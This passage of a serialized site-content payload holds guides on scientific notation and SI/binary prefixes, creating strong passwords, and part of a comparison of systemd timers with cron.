(centimeter)",[199,297494,297495,297498,297500,297503,297506],{},[216,297496,297497],{},"milli",[216,297499,183783],{},[216,297501,297502],{},"10⁻³",[216,297504,297505],{},"0.001",[216,297507,297508],{},"mm (millimeter)",[199,297510,297511,297514,297517,297520,297523],{},[216,297512,297513],{},"micro",[216,297515,297516],{},"μ",[216,297518,297519],{},"10⁻⁶",[216,297521,297522],{},"0.000001",[216,297524,297525],{},"μm (micrometer)",[199,297527,297528,297531,297533,297536,297539],{},[216,297529,297530],{},"nano",[216,297532,22610],{},[216,297534,297535],{},"10⁻⁹",[216,297537,297538],{},"0.000000001",[216,297540,297541],{},"nm (nanometer)",[199,297543,297544,297547,297549,297552,297555],{},[216,297545,297546],{},"pico",[216,297548,16],{},[216,297550,297551],{},"10⁻¹²",[216,297553,297554],{},"0.000000000001",[216,297556,297557],{},"ps (picosecond)",[199,297559,297560,297563,297565,297568,297571],{},[216,297561,297562],{},"femto",[216,297564,157012],{},[216,297566,297567],{},"10⁻¹⁵",[216,297569,297570],{},"0.000000000000001",[216,297572,297573],{},"fs (femtosecond)",[199,297575,297576,297579,297581,297584,297587],{},[216,297577,297578],{},"atto",[216,297580,98],{},[216,297582,297583],{},"10⁻¹⁸",[216,297585,297586],{},"0.000000000000000001",[216,297588,297589],{},"as (attosecond)",[199,297591,297592,297595,297598,297601,297603],{},[216,297593,297594],{},"zepto",[216,297596,297597],{},"z",[216,297599,297600],{},"10⁻²¹",[216,297602,297600],{},[216,297604,297605],{},"zs (zeptosecond)",[199,297607,297608,297611,297613,297616,297618],{},[216,297609,297610],{},"yocto",[216,297612,164321],{},[216,297614,297615],{},"10⁻²⁴",[216,297617,297615],{},[216,297619,297620],{},"ys (yoctosecond)",[33,297622,297624],{"id":297623},"commonly-used-si-prefixes-in-computing","Commonly Used SI Prefixes in Computing",[193,297626,297627,297639],{},[196,297628,297629],{},[199,297630,297631,297633,297635,297637],{},[202,297632,132011],{},[202,297634,25285],{},[202,297636,1769],{},[202,297638,24556],{},[211,297640,297641,297652,297663,297674,297684,297694,297705,297716],{},[199,297642,297643,297645,297647,297649],{},[216,297644,297406],{},[216,297646,297409],{},[216,297648,297412],{},[216,297650,297651],{},"kHz, kB (kilobyte, 1000 bytes)",[199,297653,297654,297656,297658,297660],{},[216,297655,297390],{},[216,297657,22024],{},[216,297659,297395],{},[216,297661,297662],{},"MHz, MB (megabyte, 10⁶ bytes)",[199,297664,297665,297667,297669,297671],{},[216,297666,297374],{},[216,297668,39838],{},[216,297670,297379],{},[216,297672,297673],{},"GHz, GB (gigabyte, 10⁹ bytes)",[199,297675,297676,297678,297680,297682],{},[216,297677,297358],{},[216,297679,23169],{},[216,297681,297363],{},[216,297683,297369],{},[199,297685,297686,297688,297690,297692],{},[216,297687,297342],{},[216,297689,22671],{},[216,297691,297347],{},[216,297693,297353],{},[199,297695,297696,297698,297700,297702],{},[216,297697,297513],{},[216,297699,297516],{},[216,297701,297519],{},[216,297703,297704],{},"μs (microsecond)",[199,297706,297707,297709,297711,297713],{},[216,297708,297530],{},[216,297710,22610],{},[216,297712,297535],{},[216,297714,297715],{},"ns (nanosecond)",[199,297717,297718,297720,297722,297724],{},[216,297719,297546],{},[216,297721,16],{},[216,297723,297551],{},[216,297725,297557],{},[33,297727,297729],{"id":297728},"writing-the-micro-symbol-μ","Writing the Micro Symbol (μ)",[16,297731,297732],{},"The micro symbol can be challenging to type. Alternatives:",[41,297734,297735,297740,297747,297750,297756],{},[44,297736,297737,297738],{},"Copy-paste: ",[47,297739,297516],{},[44,297741,297742,297743,297746],{},"HTML entity: ",[143,297744,297745],{},"&mu;"," → μ",[44,297748,297749],{},"Unicode: U+00B5",[44,297751,297752,297753],{},"LaTeX: ",[143,297754,297755],{},"\\mu",[44,297757,297758,297759,297762],{},"In plain text, \"u\" is sometimes used: ",[143,297760,297761],{},"um"," for micrometer",[11,297764,297766],{"id":297765},"binary-prefixes-computing","Binary Prefixes (Computing)",[16,297768,297769],{},"Binary prefixes are based on powers of 2, not 10. They're used in computing where memory and storage are addressed in binary.",[33,297771,297773],{"id":297772},"why-binary-prefixes-exist","Why Binary Prefixes Exist",[16,297775,297776],{},"A \"kilobyte\" in computing traditionally meant 1024 bytes (2¹⁰), not 1000 bytes (10³). This caused confusion, so the IEC introduced binary prefixes in 1998.",[33,297778,297780],{"id":297779},"binary-prefix-table","Binary Prefix Table",[193,297782,297783,297798],{},[196,297784,297785],{},[199,297786,297787,297789,297791,297793,297795],{},[202,297788,132011],{},[202,297790,25285],{},[202,297792,200596],{},[202,297794,1769],{},[202,297796,297797],{},"Decimal Equivalent",[211,297799,297800,297817,297834,297851,297868,297884],{},[199,297801,297802,297805,297808,297811,297814],{},[216,297803,297804],{},"kibi",[216,297806,297807],{},"Ki",[216,297809,297810],{},"2¹⁰",[216,297812,297813],{},"1,024",[216,297815,297816],{},"≈ 1.02 × 10³",[199,297818,297819,297822,297825,297828,297831],{},[216,297820,297821],{},"mebi",[216,297823,297824],{},"Mi",[216,297826,297827],{},"2²⁰",[216,297829,297830],{},"1,048,576",[216,297832,297833],{},"≈ 1.05 × 10⁶",[199,297835,297836,297839,297842,297845,297848],{},[216,297837,297838],{},"gibi",[216,297840,297841],{},"Gi",[216,297843,297844],{},"2³⁰",[216,297846,297847],{},"1,073,741,824",[216,297849,297850],{},"≈ 1.07 × 10⁹",[199,297852,297853,297856,297859,297862,297865],{},[216,297854,297855],{},"tebi",[216,297857,297858],{},"Ti",[216,297860,297861],{},"2⁴⁰",[216,297863,297864],{},"1,099,511,627,776",[216,297866,297867],{},"≈ 1.10 × 10¹²",[199,297869,297870,297873,297875,297878,297881],{},[216,297871,297872],{},"pebi",[216,297874,127999],{},[216,297876,297877],{},"2⁵⁰",[216,297879,297880],{},"1,125,899,906,842,624",[216,297882,297883],{},"≈ 1.13 × 10¹⁵",[199,297885,297886,297889,297892,297895,297898],{},[216,297887,297888],{},"exbi",[216,297890,297891],{},"Ei",[216,297893,297894],{},"2⁶⁰",[216,297896,297897],{},"1,152,921,504,606,846,976",[216,297899,297900],{},"≈ 1.15 × 10¹⁸",[33,297902,297904],{"id":297903},"si-vs-binary-prefix-comparison","SI vs Binary Prefix Comparison",[193,297906,297907,297922],{},[196,297908,297909],{},[199,297910,297911,297914,297917,297920],{},[202,297912,297913],{},"Quantity",[202,297915,297916],{},"SI Prefix (10ⁿ)",[202,297918,297919],{},"Binary Prefix (2ⁿ)",[202,297921,88434],{},[211,297923,297924,297938,297952,297966],{},[199,297925,297926,297929,297932,297935],{},[216,297927,297928],{},"1000 bytes",[216,297930,297931],{},"1 kB (kilobyte)",[216,297933,297934],{},"1 KiB (kibibyte)",[216,297936,297937],{},"~2.4%",[199,297939,297940,297943,297946,297949],{},[216,297941,297942],{},"1,000,000 bytes",[216,297944,297945],{},"1 MB (megabyte)",[216,297947,297948],{},"1 MiB (mebibyte)",[216,297950,297951],{},"~4.9%",[199,297953,297954,297957,297960,297963],{},[216,297955,297956],{},"1,000,000,000 bytes",[216,297958,297959],{},"1 GB (gigabyte)",[216,297961,297962],{},"1 GiB (gibibyte)",[216,297964,297965],{},"~7.4%",[199,297967,297968,297971,297974,297977],{},[216,297969,297970],{},"1,000,000,000,000 bytes",[216,297972,297973],{},"1 TB (terabyte)",[216,297975,297976],{},"1 TiB (tebibyte)",[216,297978,297979],{},"~10%",[33,297981,68594],{"id":68593},[41,297983,297984,297990,297996,298002],{},[44,297985,297986,297989],{},[47,297987,297988],{},"Storage manufacturers",": Use SI prefixes (1 TB = 10¹² bytes) — it makes drives sound bigger",[44,297991,297992,297995],{},[47,297993,297994],{},"RAM\u002Fmemory",": Use binary prefixes (8 GiB = 2³⁰ × 8 bytes) — it's technically correct",[44,297997,297998,298001],{},[47,297999,298000],{},"Network speeds",": Use SI prefixes (1 Gbps = 10⁹ bits per second) — standard for networking",[44,298003,298004,298007],{},[47,298005,298006],{},"File sizes in OS",": Varies — Windows uses \"KB\" but means KiB; macOS uses proper SI",[11,298009,298011],{"id":298010},"engineering-notation","Engineering Notation",[16,298013,298014],{},"Engineering notation is a variant of scientific notation where the exponent is a multiple of 3, keeping the coefficient between 1 and 1000.",[33,298016,298018],{"id":298017},"why-use-engineering-notation","Why Use Engineering Notation?",[16,298020,298021],{},"It aligns with SI prefixes, making it easier to read engineering values.",[33,298023,96299],{"id":298024},"examples-1",[193,298026,298027,298040],{},[196,298028,298029],{},[199,298030,298031,298033,298035,298037],{},[202,298032,281621],{},[202,298034,297101],{},[202,298036,298011],{},[202,298038,298039],{},"With SI Prefix",[211,298041,298042,298056,298069,298082],{},[199,298043,298044,298047,298050,298053],{},[216,298045,298046],{},"123,000",[216,298048,298049],{},"1.23 × 10⁵",[216,298051,298052],{},"123 × 10³",[216,298054,298055],{},"123 k",[199,298057,298058,298061,298064,298066],{},[216,298059,298060],{},"0.00456",[216,298062,298063],{},"4.56 × 10⁻³",[216,298065,298063],{},[216,298067,298068],{},"4.56 m",[199,298070,298071,298074,298077,298079],{},[216,298072,298073],{},"7,890,000",[216,298075,298076],{},"7.89 × 10⁶",[216,298078,298076],{},[216,298080,298081],{},"7.89 M",[199,298083,298084,298087,298090,298093],{},[216,298085,298086],{},"0.000000092",[216,298088,298089],{},"9.2 × 10⁻⁸",[216,298091,298092],{},"92 × 10⁻⁹",[216,298094,298095],{},"92 n",[11,298097,298099],{"id":298098},"scientific-notation-in-programming","Scientific Notation in Programming",[33,298101,9840],{"id":8261},[135,298103,298105],{"className":8259,"code":298104,"language":8261,"meta":141,"style":141},"# Writing numbers in scientific notation\nplanck = 6.626e-34\nspeed_of_light = 3e8\n\n# Converting to\u002Ffrom scientific notation\nprint(f\"{planck:.2e}\")  # \"6.63e-34\"\nprint(f\"{speed_of_light:.2e}\")  # \"3.00e+08\"\n\n# Parsing scientific notation from strings\nnum = float(\"1.23e-4\")  # 0.000123\n\n# Using with format specifiers\nvalue = 1234567\nprint(f\"{value:e}\")  # \"1.234567e+06\"\n",[143,298106,298107,298112,298117,298122,298126,298131,298136,298141,298145,298150,298155,298159,298164,298169],{"__ignoreMap":141},[1560,298108,298109],{"class":1562,"line":1563},[1560,298110,298111],{},"# Writing numbers in scientific notation\n",[1560,298113,298114],{"class":1562,"line":337},[1560,298115,298116],{},"planck = 6.626e-34\n",[1560,298118,298119],{"class":1562,"line":343},[1560,298120,298121],{},"speed_of_light = 3e8\n",[1560,298123,298124],{"class":1562,"line":365},[1560,298125,1702],{"emptyLinePlaceholder":363},[1560,298127,298128],{"class":1562,"line":889},[1560,298129,298130],{},"# Converting to\u002Ffrom scientific notation\n",[1560,298132,298133],{"class":1562,"line":1710},[1560,298134,298135],{},"print(f\"{planck:.2e}\")  # \"6.63e-34\"\n",[1560,298137,298138],{"class":1562,"line":1717},[1560,298139,298140],{},"print(f\"{speed_of_light:.2e}\")  # \"3.00e+08\"\n",[1560,298142,298143],{"class":1562,"line":1747},[1560,298144,1702],{"emptyLinePlaceholder":363},[1560,298146,298147],{"class":1562,"line":2507},[1560,298148,298149],{},"# Parsing scientific notation from strings\n",[1560,298151,298152],{"class":1562,"line":2524},[1560,298153,298154],{},"num = float(\"1.23e-4\")  # 0.000123\n",[1560,298156,298157],{"class":1562,"line":2529},[1560,298158,1702],{"emptyLinePlaceholder":363},[1560,298160,298161],{"class":1562,"line":2534},[1560,298162,298163],{},"# Using with format specifiers\n",[1560,298165,298166],{"class":1562,"line":2542},[1560,298167,298168],{},"value = 1234567\n",[1560,298170,298171],{"class":1562,"line":2558},[1560,298172,298173],{},"print(f\"{value:e}\")  # \"1.234567e+06\"\n",[33,298175,9860],{"id":1609},[135,298177,298179],{"className":1607,"code":298178,"language":1609,"meta":141,"style":141},"\u002F\u002F Scientific notation literals\nconst avogadro = 6.022e23;\nconst electronMass = 9.109e-31;\n\n\u002F\u002F toExponential() method\nconst num = 1234567;\nconsole.log(num.toExponential(2));  \u002F\u002F \"1.23e+6\"\n\n\u002F\u002F Parsing\nconst parsed = parseFloat(\"1.23e-4\");  \u002F\u002F 0.000123\n",[143,298180,298181,298186,298200,298214,298218,298223,298237,298258,298262,298267],{"__ignoreMap":141},[1560,298182,298183],{"class":1562,"line":1563},[1560,298184,298185],{"class":1649},"\u002F\u002F Scientific notation literals\n",[1560,298187,298188,298190,298193,298195,298198],{"class":1562,"line":337},[1560,298189,8180],{"class":1669},[1560,298191,298192],{"class":1576}," avogadro",[1560,298194,8186],{"class":1669},[1560,298196,298197],{"class":1576}," 6.022e23",[1560,298199,2228],{"class":1570},[1560,298201,298202,298204,298207,298209,298212],{"class":1562,"line":343},[1560,298203,8180],{"class":1669},[1560,298205,298206],{"class":1576}," electronMass",[1560,298208,8186],{"class":1669},[1560,298210,298211],{"class":1576}," 9.109e-31",[1560,298213,2228],{"class":1570},[1560,298215,298216],{"class":1562,"line":365},[1560,298217,1702],{"emptyLinePlaceholder":363},[1560,298219,298220],{"class":1562,"line":889},[1560,298221,298222],{"class":1649},"\u002F\u002F toExponential() method\n",[1560,298224,298225,298227,298230,298232,298235],{"class":1562,"line":1710},[1560,298226,8180],{"class":1669},[1560,298228,298229],{"class":1576}," num",[1560,298231,8186],{"class":1669},[1560,298233,298234],{"class":1576}," 1234567",[1560,298236,2228],{"class":1570},[1560,298238,298239,298241,298243,298246,298249,298251,298253,298255],{"class":1562,"line":1717},[1560,298240,8211],{"class":1570},[1560,298242,8214],{"class":1566},[1560,298244,298245],{"class":1570},"(num.",[1560,298247,298248],{"class":1566},"toExponential",[1560,298250,1688],{"class":1570},[1560,298252,10099],{"class":1576},[1560,298254,51290],{"class":1570},[1560,298256,298257],{"class":1649},"\u002F\u002F \"1.23e+6\"\n",[1560,298259,298260],{"class":1562,"line":1747},[1560,298261,1702],{"emptyLinePlaceholder":363},[1560,298263,298264],{"class":1562,"line":2507},[1560,298265,298266],{"class":1649},"\u002F\u002F Parsing\n",[1560,298268,298269,298271,298273,298275,298278,298280,298283,298285],{"class":1562,"line":2524},[1560,298270,8180],{"class":1669},[1560,298272,217960],{"class":1576},[1560,298274,8186],{"class":1669},[1560,298276,298277],{"class":1566}," parseFloat",[1560,298279,1688],{"class":1570},[1560,298281,298282],{"class":5634},"\"1.23e-4\"",[1560,298284,14724],{"class":1570},[1560,298286,298287],{"class":1649},"\u002F\u002F 0.000123\n",[33,298289,9880],{"id":10185},[135,298291,298293],{"className":10198,"code":298292,"language":10185,"meta":141,"style":141},"\u002F\u002F Scientific notation in literals\ndouble planck = 6.626e-34;\n\n\u002F\u002F Formatting\nSystem.out.printf(\"%.2e%n\", planck);  \u002F\u002F \"6.63e-34\"\n\n\u002F\u002F Using BigDecimal for precision\nBigDecimal precise = new BigDecimal(\"1.23e-4\");\n",[143,298294,298295,298300,298305,298309,298314,298319,298323,298328],{"__ignoreMap":141},[1560,298296,298297],{"class":1562,"line":1563},[1560,298298,298299],{},"\u002F\u002F Scientific notation in literals\n",[1560,298301,298302],{"class":1562,"line":337},[1560,298303,298304],{},"double planck = 6.626e-34;\n",[1560,298306,298307],{"class":1562,"line":343},[1560,298308,1702],{"emptyLinePlaceholder":363},[1560,298310,298311],{"class":1562,"line":365},[1560,298312,298313],{},"\u002F\u002F Formatting\n",[1560,298315,298316],{"class":1562,"line":889},[1560,298317,298318],{},"System.out.printf(\"%.2e%n\", planck);  \u002F\u002F \"6.63e-34\"\n",[1560,298320,298321],{"class":1562,"line":1710},[1560,298322,1702],{"emptyLinePlaceholder":363},[1560,298324,298325],{"class":1562,"line":1717},[1560,298326,298327],{},"\u002F\u002F Using BigDecimal for precision\n",[1560,298329,298330],{"class":1562,"line":1747},[1560,298331,298332],{},"BigDecimal precise = new BigDecimal(\"1.23e-4\");\n",[33,298334,298335],{"id":5359},"C\u002FC++",[135,298337,298339],{"className":13941,"code":298338,"language":13943,"meta":141,"style":141},"\u002F\u002F Scientific notation in literals\ndouble speed_of_light = 3.0e8;\n\n\u002F\u002F printf formatting\nprintf(\"%.2e\\n\", speed_of_light);  \u002F\u002F \"3.00e+08\"\n\n\u002F\u002F Using scientific notation in scanf\ndouble value;\nscanf(\"%le\", &value);  \u002F\u002F Reads \"1.23e-4\" format\n",[143,298340,298341,298345,298350,298354,298359,298364,298368,298373,298378],{"__ignoreMap":141},[1560,298342,298343],{"class":1562,"line":1563},[1560,298344,298299],{},[1560,298346,298347],{"class":1562,"line":337},[1560,298348,298349],{},"double speed_of_light = 3.0e8;\n",[1560,298351,298352],{"class":1562,"line":343},[1560,298353,1702],{"emptyLinePlaceholder":363},[1560,298355,298356],{"class":1562,"line":365},[1560,298357,298358],{},"\u002F\u002F printf formatting\n",[1560,298360,298361],{"class":1562,"line":889},[1560,298362,298363],{},"printf(\"%.2e\\n\", speed_of_light);  \u002F\u002F \"3.00e+08\"\n",[1560,298365,298366],{"class":1562,"line":1710},[1560,298367,1702],{"emptyLinePlaceholder":363},[1560,298369,298370],{"class":1562,"line":1717},[1560,298371,298372],{},"\u002F\u002F Using scientific notation in scanf\n",[1560,298374,298375],{"class":1562,"line":1747},[1560,298376,298377],{},"double value;\n",[1560,298379,298380],{"class":1562,"line":2507},[1560,298381,298382],{},"scanf(\"%le\", &value);  \u002F\u002F Reads \"1.23e-4\" format\n",[11,298384,298386],{"id":298385},"common-constants-in-scientific-notation","Common Constants in Scientific Notation",[193,298388,298389,298401],{},[196,298390,298391],{},[199,298392,298393,298396,298398],{},[202,298394,298395],{},"Constant",[202,298397,25285],{},[202,298399,298400],{},"Value (Scientific Notation)",[211,298402,298403,298413,298423,298433,298443,298454,298465,298475],{},[199,298404,298405,298408,298410],{},[216,298406,298407],{},"Speed of light",[216,298409,13943],{},[216,298411,298412],{},"2.998 × 10⁸ m\u002Fs",[199,298414,298415,298418,298420],{},[216,298416,298417],{},"Planck constant",[216,298419,297425],{},[216,298421,298422],{},"6.626 × 10⁻³⁴ J·s",[199,298424,298425,298428,298430],{},[216,298426,298427],{},"Gravitational constant",[216,298429,39838],{},[216,298431,298432],{},"6.674 × 10⁻¹¹ N·m²\u002Fkg²",[199,298434,298435,298438,298440],{},[216,298436,298437],{},"Electron charge",[216,298439,96224],{},[216,298441,298442],{},"1.602 × 10⁻¹⁹ C",[199,298444,298445,298448,298451],{},[216,298446,298447],{},"Electron mass",[216,298449,298450],{},"mₑ",[216,298452,298453],{},"9.109 × 10⁻³¹ kg",[199,298455,298456,298459,298462],{},[216,298457,298458],{},"Avogadro's number",[216,298460,298461],{},"Nₐ",[216,298463,298464],{},"6.022 × 10²³ mol⁻¹",[199,298466,298467,298470,298472],{},[216,298468,298469],{},"Boltzmann constant",[216,298471,297409],{},[216,298473,298474],{},"1.381 × 10⁻²³ J\u002FK",[199,298476,298477,298480,298483],{},[216,298478,298479],{},"Standard atmosphere",[216,298481,298482],{},"atm",[216,298484,298485],{},"1.013 × 10⁵ Pa",[11,298487,65161],{"id":65160},[33,298489,298491],{"id":298490},"example-1-converting-to-scientific-notation","Example 1: Converting to Scientific Notation",[16,298493,298494],{},"Convert 0.0000000567 to scientific notation:",[77,298496,298497,298500,298503],{},[44,298498,298499],{},"Move decimal point 8 places to the right: 5.67",[44,298501,298502],{},"Since we moved right, exponent is negative: 10⁻⁸",[44,298504,114846,298505],{},[47,298506,298507],{},"5.67 × 10⁻⁸",[33,298509,298511],{"id":298510},"example-2-converting-from-scientific-notation","Example 2: Converting from Scientific Notation",[16,298513,298514],{},"Convert 3.21 × 10⁵ to standard form:",[77,298516,298517,298520],{},[44,298518,298519],{},"Move decimal point 5 places to the right: 321000",[44,298521,114846,298522],{},[47,298523,298524],{},"321,000",[33,298526,298528],{"id":298527},"example-3-multiplication-with-scientific-notation","Example 3: Multiplication with Scientific Notation",[16,298530,298531],{},"(2 × 10³) × (3 × 10⁴) = ?",[77,298533,298534,298537,298540],{},[44,298535,298536],{},"Multiply coefficients: 2 × 3 = 6",[44,298538,298539],{},"Add exponents: 10³ × 10⁴ = 10⁷",[44,298541,114846,298542],{},[47,298543,298544],{},"6 × 10⁷",[33,298546,298548],{"id":298547},"example-4-computing-context","Example 4: Computing Context",[16,298550,298551],{},"A hard drive is 2 TB (SI) vs 2 TiB (binary):",[41,298553,298554,298557,298560],{},[44,298555,298556],{},"2 TB = 2 × 10¹² = 2,000,000,000,000 bytes",[44,298558,298559],{},"2 TiB = 2 × 2⁴⁰ = 2,199,023,255,552 bytes",[44,298561,298562],{},"Difference: ~199 billion bytes (~199 GB \"missing\" in SI)",[11,298564,1124],{"id":1123},[33,298566,298568],{"id":298567},"powers-of-10-memorize-these","Powers of 10 (Memorize These)",[135,298570,298573],{"className":298571,"code":298572,"language":140},[138],"10⁻³ = 0.001 = milli (m)\n10⁻² = 0.01 = centi (c)\n10⁻¹ = 0.1 = deci (d)\n10⁰ = 1\n10¹ = 10 = deca (da)\n10² = 100 = hecto (h)\n10³ = 1000 = kilo (k)\n10⁶ = 1,000,000 = mega (M)\n10⁹ = 1,000,000,000 = giga (G)\n10¹² = 1,000,000,000,000 = tera (T)\n",[143,298574,298572],{"__ignoreMap":141},[33,298576,298578],{"id":298577},"powers-of-2-computing","Powers of 2 (Computing)",[135,298580,298583],{"className":298581,"code":298582,"language":140},[138],"2¹⁰ = 1,024 ≈ 10³ (kibi)\n2²⁰ = 1,048,576 ≈ 10⁶ (mebi)\n2³⁰ = 1,073,741,824 ≈ 10⁹ (gibi)\n2⁴⁰ ≈ 10¹² (tebi)\n",[143,298584,298582],{"__ignoreMap":141},[11,298586,257800],{"id":257799},[41,298588,298589],{},[44,298590,298591,298593],{},[98,298592,664],{"href":663}," - Convert between various units and formats",[2043,298595,195883],{},{"title":141,"searchDepth":337,"depth":337,"links":298597},[298598,298599,298604,298608,298613,298619,298623,298629,298630,298636,298640],{"id":256641,"depth":337,"text":2776},{"id":297058,"depth":337,"text":297059,"children":298600},[298601,298602,298603],{"id":297062,"depth":343,"text":297063},{"id":273779,"depth":343,"text":96299},{"id":297162,"depth":343,"text":297163},{"id":297175,"depth":337,"text":297176,"children":298605},[298606,298607],{"id":297179,"depth":343,"text":297180},{"id":297189,"depth":343,"text":297190},{"id":297262,"depth":337,"text":297263,"children":298609},[298610,298611,298612],{"id":297269,"depth":343,"text":297270},{"id":297623,"depth":343,"text":297624},{"id":297728,"depth":343,"text":297729},{"id":297765,"depth":337,"text":297766,"children":298614},[298615,298616,298617,298618],{"id":297772,"depth":343,"text":297773},{"id":297779,"depth":343,"text":297780},{"id":297903,"depth":343,"text":297904},{"id":68593,"depth":343,"text":68594},{"id":298010,"depth":337,"text":298011,"children":298620},[298621,298622],{"id":298017,"depth":343,"text":298018},{"id":298024,"depth":343,"text":96299},{"id":298098,"depth":337,"text":298099,"children":298624},[298625,298626,298627,298628],{"id":8261,"depth":343,"text":9840},{"id":1609,"depth":343,"text":9860},{"id":10185,"depth":343,"text":9880},{"id":5359,"depth":343,"text":298335},{"id":298385,"depth":337,"text":298386},{"id":65160,"depth":337,"text":65161,"children":298631},[298632,298633,298634,298635],{"id":298490,"depth":343,"text":298491},{"id":298510,"depth":343,"text":298511},{"id":298527,"depth":343,"text":298528},{"id":298547,"depth":343,"text":298548},{"id":1123,"depth":337,"text":1124,"children":298637},[298638,298639],{"id":298567,"depth":343,"text":298568},{"id":298577,"depth":343,"text":298578},{"id":257799,"depth":337,"text":257800},"Complete guide to scientific notation, SI prefixes (kilo, micro, nano), binary prefixes (kibi, mebi), engineering notation, and programming representations.",{"immutable":363},"\u002Fguides\u002Fscientific-notation-guide",{"title":297045,"description":298641},"guides\u002Fscientific-notation-guide","CxJV63T7E3Dc8rIJyT90L3Y5gS4j7SRydpK5bHP3xGo",{"id":298648,"title":298649,"body":298650,"date":257855,"description":298812,"extension":361,"meta":298813,"navigation":363,"path":241826,"readingTime":1710,"seo":298814,"stem":298815,"__hash__":298816},"guides\u002Fguides\u002Fstrong-password-guide.md","How to Create Strong Passwords",{"type":8,"value":298651,"toc":298804},[298652,298656,298659,298663,298686,298690,298753,298755,298781,298783,298797,298799],[11,298653,298655],{"id":298654},"why-strong-passwords-matter","Why Strong Passwords Matter",[16,298657,298658],{},"Weak passwords are the #1 cause of data breaches. A password that takes seconds to guess can give attackers access to your email, bank accounts, and personal data.",[11,298660,298662],{"id":298661},"what-makes-a-password-strong","What Makes a Password Strong",[77,298664,298665,298670,298675,298680],{},[44,298666,298667,298669],{},[47,298668,142795],{},": At least 12 characters — longer is always better",[44,298671,298672,298674],{},[47,298673,83075],{},": Mix uppercase, lowercase, numbers, and symbols",[44,298676,298677,298679],{},[47,298678,82435],{},": Never reuse passwords across accounts",[44,298681,298682,298685],{},[47,298683,298684],{},"Randomness",": Avoid dictionary words, names, and patterns",[11,298687,298689],{"id":298688},"password-strength-estimates","Password Strength Estimates",[193,298691,298692,298702],{},[196,298693,298694],{},[199,298695,298696,298698,298700],{},[202,298697,34969],{},[202,298699,133],{},[202,298701,170808],{},[211,298703,298704,298716,298728,298740],{},[199,298705,298706,298709,298714],{},[216,298707,298708],{},"6-char lowercase",[216,298710,298711],{},[143,298712,298713],{},"abcdef",[216,298715,692],{},[199,298717,298718,298721,298726],{},[216,298719,298720],{},"8-char mixed",[216,298722,298723],{},[143,298724,298725],{},"PaSsWoRd",[216,298727,705],{},[199,298729,298730,298733,298738],{},[216,298731,298732],{},"12-char random",[216,298734,298735],{},[143,298736,298737],{},"x7#Km2!pL9&q",[216,298739,170862],{},[199,298741,298742,298745,298750],{},[216,298743,298744],{},"16-char random",[216,298746,298747],{},[143,298748,298749],{},"8vN#2kL!pR7@mW4z",[216,298751,298752],{},"Millennia",[11,298754,7383],{"id":7382},[41,298756,298757,298760,298766,298769,298778],{},[44,298758,298759],{},"Using personal information (birthdays, names)",[44,298761,298762,298763,1525],{},"Substituting numbers for letters (",[143,298764,298765],{},"p@ssw0rd",[44,298767,298768],{},"Reusing passwords across sites",[44,298770,298771,298772,1459,298775,1525],{},"Using patterns (",[143,298773,298774],{},"qwerty",[143,298776,298777],{},"123456",[44,298779,298780],{},"Making passwords \"too clever\" instead of random",[11,298782,35318],{"id":35317},[77,298784,298785,298788,298791,298794],{},[44,298786,298787],{},"Use a password manager to generate and store passwords",[44,298789,298790],{},"Enable two-factor authentication (2FA) when available",[44,298792,298793],{},"Change passwords immediately after a breach",[44,298795,298796],{},"Use passphrases for accounts you need to type manually",[11,298798,286],{"id":285},[16,298800,29979,298801,298803],{},[98,298802,170976],{"href":170975}," to create strong, random passwords instantly.",{"title":141,"searchDepth":337,"depth":337,"links":298805},[298806,298807,298808,298809,298810,298811],{"id":298654,"depth":337,"text":298655},{"id":298661,"depth":337,"text":298662},{"id":298688,"depth":337,"text":298689},{"id":7382,"depth":337,"text":7383},{"id":35317,"depth":337,"text":35318},{"id":285,"depth":337,"text":286},"Learn how to create strong passwords that resist attacks. Tips for length, complexity, and password management.",{"immutable":363},{"title":298649,"description":298812},"guides\u002Fstrong-password-guide","Qb0V10s9fh7kiGLzvz7SYu_p6u2q4Xx58SgutpfIsaI",{"id":298818,"title":298819,"body":298820,"date":257855,"description":300054,"extension":361,"meta":300055,"navigation":363,"path":252523,"readingTime":2524,"seo":300056,"stem":300057,"__hash__":300058},"guides\u002Fguides\u002Fsystemd-timers-vs-cron.md","systemd Timers vs Cron: Which Should You Use?",{"type":8,"value":298821,"toc":300015},[298822,298824,298827,298830,298832,298984,298988,298991,298995,298998,299021,299025,299028,299032,299038,299056,299060,299063,299067,299070,299074,299077,299097,299101,299104,299137,299141,299144,299184,299188,299191,299209,299213,299216,299246,299250,299254,299329,299333,299336,299358,299364,299430,299434,299439,299493,299497,299575,299579,299658,299662,299666,299669,299726,299730,299733,299757,299761,299780,299782,299788,299790,299794,299814,299818,299844,299846,299849,299904,299908,300003,300005,300012],[11,298823,2776],{"id":256641},[16,298825,298826],{},"For decades, cron was the undisputed champion of task scheduling on Unix-like systems. Then systemd arrived with its timer units, offering a modern alternative that integrates deeply with the systemd ecosystem.",[16,298828,298829],{},"This guide compares both approaches across key dimensions, helps you choose the right tool, and provides a practical migration path from cron to systemd timers.",[11,298831,50061],{"id":50060},[193,298833,298834,298845],{},[196,298835,298836],{},[199,298837,298838,298840,298842],{},[202,298839,5867],{},[202,298841,259247],{},[202,298843,298844],{},"systemd Timers",[211,298846,298847,298858,298870,298883,298899,298911,298924,298942,298954,298971],{},[199,298848,298849,298853,298855],{},[216,298850,298851],{},[47,298852,211578],{},[216,298854,257960],{},[216,298856,298857],{},"Can catch up on missed jobs (persistent timers)",[199,298859,298860,298864,298867],{},[216,298861,298862],{},[47,298863,253246],{},[216,298865,298866],{},"Requires manual redirection",[216,298868,298869],{},"Integrated with journalctl",[199,298871,298872,298877,298880],{},[216,298873,298874],{},[47,298875,298876],{},"Dependencies",[216,298878,298879],{},"None (runs independently)",[216,298881,298882],{},"Can depend on other units, network, filesystem mounts",[199,298884,298885,298890,298893],{},[216,298886,298887],{},[47,298888,298889],{},"Random Delay",[216,298891,298892],{},"Manual scripting required",[216,298894,298895,298896],{},"Built-in ",[143,298897,298898],{},"RandomizedDelaySec",[199,298900,298901,298905,298908],{},[216,298902,298903],{},[47,298904,825],{},[216,298906,298907],{},"Minute-level precision",[216,298909,298910],{},"Sub-second precision possible",[199,298912,298913,298918,298921],{},[216,298914,298915],{},[47,298916,298917],{},"User Jobs",[216,298919,298920],{},"Per-user crontabs",[216,298922,298923],{},"User timers supported (systemctl --user)",[199,298925,298926,298931,298934],{},[216,298927,298928],{},[47,298929,298930],{},"Monitoring",[216,298932,298933],{},"External tools needed",[216,298935,298936,1856,298939],{},[143,298937,298938],{},"systemctl status",[143,298940,298941],{},"systemctl 